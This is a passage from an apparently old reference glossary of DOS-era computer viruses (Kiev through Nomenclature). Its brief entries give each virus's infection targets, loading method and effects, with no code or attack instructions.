The Kiev Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Kiev-1 Virus

The Kiev-1 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Kilroy Virus

The Kilroy Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Kiwi-550 Virus

The Kiwi-550 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Klaeren Virus

The Klaeren Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and

data files.

KODE4 Virus

The KODE4 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

KODE4v1 Virus

The KODE4v1 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Kohntark dropper Virus

The Kohntark dropper Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Kohntark Virus

The Kohntark Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Korea Virus

The Korea Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Krivmous Virus

The Krivmous Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

KU-448 Virus

The KU-448 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Kuang Virus

The Kuang Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Kukaturbo Virus

The Kukaturbo Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Kurvy Virus

The Kurvy Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Kuzmitch Virus

The Kuzmitch Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

L-993 Virus

The L-993 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

L1 Virus

The L1 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Label Virus

The Label Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Lamer Virus

The Lamer Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Lanc Virus

The Lanc Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Lanc5476 Virus

The Lanc5476 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Lanc5882 Virus

The Lanc5882 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Larry Virus

The Larry Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Lazy Virus

The Lazy Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

LCV Virus

The LCV Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Leapfrog Virus

The Leapfrog Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Leech Virus

The Leech Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Lehigh Virus

The Lehigh Virus is a computer virus The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Lenart Virus

see "AntiCMOS_Virus"

Leper AOD Virus

The Leper AOD Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Lepro-B1 Virus

The Lepro-B1 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Leprosy Virus

The Leprosy Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Leprosy-3 Virus

The Leprosy-3 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Leprosy-B Virus

The Leprosy-B Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Les Virus

The Les Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Lib1172 Virus

The Lib1172 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Liberty Virus

The Liberty Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Liquid Code - 2 Virus

The Liquid Code - 2 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Liquid Code Virus

The Liquid Code Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Lisbon Virus

The Lisbon Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Little Brother 299 Virus

The Little Brother 299 Virus is a computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program.

Little Brother 349 Virus

The Little Brother 349 Virus is a computer virus which infects .EXE

files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Little Brother 361 Virus

The Little Brother 361 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Little Brother Virus

The Little Brother Virus is a companion computer virus . The virus is loaded into memory by executing a shadowed program, and apart from writing itself as a.COM companion to the intended victim and renaming the original file to.EXE the virus doesn't do anything.

Little Girl Virus

The Little Girl Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Little Pieces Virus

The Little Pieces Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Little Virus

The Little Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

LiXi Virus

see "AntiCMOS_Virus"

LixoNuke Virus

The LixoNuke Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Loa Duong Virus

The Loa Duong Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files.

LockJaw Virus

The LockJaw Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Locks Virus

The Locks Virus is a computer virus which infects .COM files including

COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Lockz Virus

The Lockz Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Loren Virus

The Loren Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Love Child 2710 Virus

The Love Child 2710 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Love Child Virus

The Love Child Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Lozinsky Virus

The Lozinsky Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

LPT-OFF Virus

The LPT-OFF Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Luca-309 Virus

The Luca-309 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Lucifer Virus

The Lucifer Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Lycee Virus

The Lycee Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Lycee-1888 Virus

The Lycee-1888 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

LZ 2 Virus

The LZ 2 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

LZ Virus

The LZ Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

M-128 Virus

The M-128 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Macedonia Virus

The Macedonia Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Madismo Virus

The Madismo Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Magnitogorski 3 Virus

The Magnitogorski 3 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Magnum Virus

The Magnum Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Malage Virus

The Malage Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files.

Malaise Virus

The Malaise Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Malign Virus

The Malign Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Malmsey Habitat v3.b Virus

The Malmsey Habitat v3.b Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Malmsey2 Virus

The Malmsey2 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Malsmsey Virus

The Malsmsey Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Maltese Amoeba Virus

The Maltese Amoeba Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Mannequin Virus

The Mannequin Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Manola Virus

The Manola Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Manta Virus

The Manta Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts

program or overlay files.

Marauder Virus

The Marauder Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Mardi Bros . Virus

The Mardi Bros . Virus is a computer virus which infects the fixed
disk and diskette boot sectors . The virus is loaded into memory by
booting from an infected disk and then affects the computer's runtime
operation.

Marijuana Virus

see "Stoned_Virus"

Mark II Virus

The Mark II Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Marzia Virus

The Marzia Virus is a computer virus which uses stealth techniques to
avoid detection and which infects the fixed disk partition table. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Math Test Virus

The Math Test Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Matura Virus

The Matura Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Mayak Virus

The Mayak Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

MCWH1022 Virus

The MCWH1022 Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

McWhale Virus

The McWhale Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Medical Virus

The Medical Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Meditation Virus

The Meditation Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Mem Lapse 323 Virus

The Mem Lapse 323 Virus is a computer virus which infects .COM files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Mem Lapse 375 Virus

The Mem Lapse 375 Virus is an encrypted computer virus which infects
.COM files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Memory Lapse Virus

The Memory Lapse Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Merry Xmas Virus

The Merry Xmas Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Mexican Mud Virus

The Mexican Mud Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Mexican Mud Virus

The Mexican Mud Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Mface Virus

The Mface Virus is a computer virus which infects .COM files including

COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MG Virus

The MG Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MGTU Virus

The MGTU Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Miami Virus

see "Munich_Virus"

Michaelangelo Virus

The Michaelangelo Virus is a computer virus which infects the fixed disk and diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation. On March the 6th it attempts to destroy data on the current drive by writing random data directly to the disk sectors/

Michelangelo - D Virus

The Michelangelo - D Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Michelangelo - E Virus

The Michelangelo - E Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Michelangelo II Virus

The Michelangelo II Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Microbes Virus

The Microbes Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts data files.

Miky Virus

The Miky Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Milano Virus

The Milano Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Miles Virus

The Miles Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Mindless Virus

The Mindless Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Mini Virus

The Mini Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Mini-125 Virus

The Mini-125 Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Mini-132 Virus

The Mini-132 Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Mini-195 Virus

The Mini-195 Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Mini-207 Virus

The Mini-207 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Minimax Virus

The Minimax Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Minimite Virus

The Minimite Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Minsk-GH Virus

The Minsk-GH Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM, .EXE and overlay files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Mir Virus

The Mir Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Mirror Virus

The Mirror Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Missouri Virus

see "Italian_Virus"

MIX1 Virus

The MIX1 Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Mix2 Virus

The Mix2 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Moctezuma Virus

The Moctezuma Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Monika Virus

The Monika Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Monkey Virus

The Monkey Virus is a computer virus which uses stealth techniques to

avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Mono Virus

The Mono Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Monxla Virus

The Monxla Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Monxla-B Virus

The Monxla-B Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

More Virus

The More Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Mosquito Virus

see "Fax_Free_Virus"

Mozkin Virus

The Mozkin Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MPC Virus

The MPC Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MPS 1.1 Virus

The MPS 1.1 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MPS 3.1 Virus

The MPS 3.1 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

MR. D Virus

The MR. D Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Mr. G Virus

The Mr. G Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Mr. Vir Virus

The Mr. Vir Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Msk Virus

The Msk Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

MSTU Virus

The MSTU Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Mugshot Virus

The Mugshot Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk. The virus corrupts program or overlay files and data files.

Mule Virus

The Mule Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Multi Virus

The Multi Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Multi-11 Virus

The Multi-11 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Multi-2 Virus

The Multi-2 Virus is an encrypted computer virus which infects .COM,
.EXE and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program or overlay files.

Mummy Virus

The Mummy Virus is an encrypted computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Munich Virus

The Munich Virus (also called the Friday 13th Virus and Miami Virus)
is a computer virus which infects .COM files including COMMAND.COM.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Murphy Virus

The Murphy Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Music Bug Virus

The Music Bug Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation.

Mutant Virus

The Mutant Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Mutating Interrupt Virus

The Mutating Interrupt Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Mutation Engine Virus

The Mutation Engine Virus is an encrypted computer virus which uses
stealth techniques to avoid detection and which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

MX Virus

The MX Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .EXE files. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program or overlay files.

Mystic Virus

The Mystic Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

N-Beta Virus

The N-Beta Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

NAPC Virus

The NAPC Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Nazi Virus

The Nazi Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

NCU Li Virus

The NCU Li Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

Necro Virus

The Necro Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Necro Virus

The Necro Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Necrophilia Virus

The Necrophilia Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

Necrosoft Virus

The Necrosoft Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

NED Virus

The NED Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

New Sunday Virus

The New Sunday Virus is a computer virus which infects .COM, .EXE and
overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

New Zealand Virus

see "Stoned_Virus"

New-1701 Virus

The New-1701 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

NewBug Virus

The NewBug Virus is a computer virus which uses stealth techniques to
avoid detection and which infects the fixed disk boot sector. The
virus is loaded into memory by booting from an infected disk and then
affects the computer's runtime operation and corrupts program or
overlay files.

Newcom Virus

The Newcom Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Next Generation Virus

The Next Generation Virus is an encrypted computer virus which uses
stealth techniques to avoid detection and which infects .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Neznamy Virus

The Neznamy Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .COM and .EXE files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Night Grawler Virus

The Night Grawler Virus is a computer virus which infects the fixed
disk partition table. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation.

Nina Virus

The Nina Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Nines Compliment Virus

The Nines Compliment Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ninja Virus

The Ninja Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

No Party Virus

The No Party Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

No Wednesday Virus

The No Wednesday Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

No-Int Virus

The No-Int Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Nobock Virus

The Nobock Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

NoCopy Virus

The NoCopy Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Nomenclature Virus

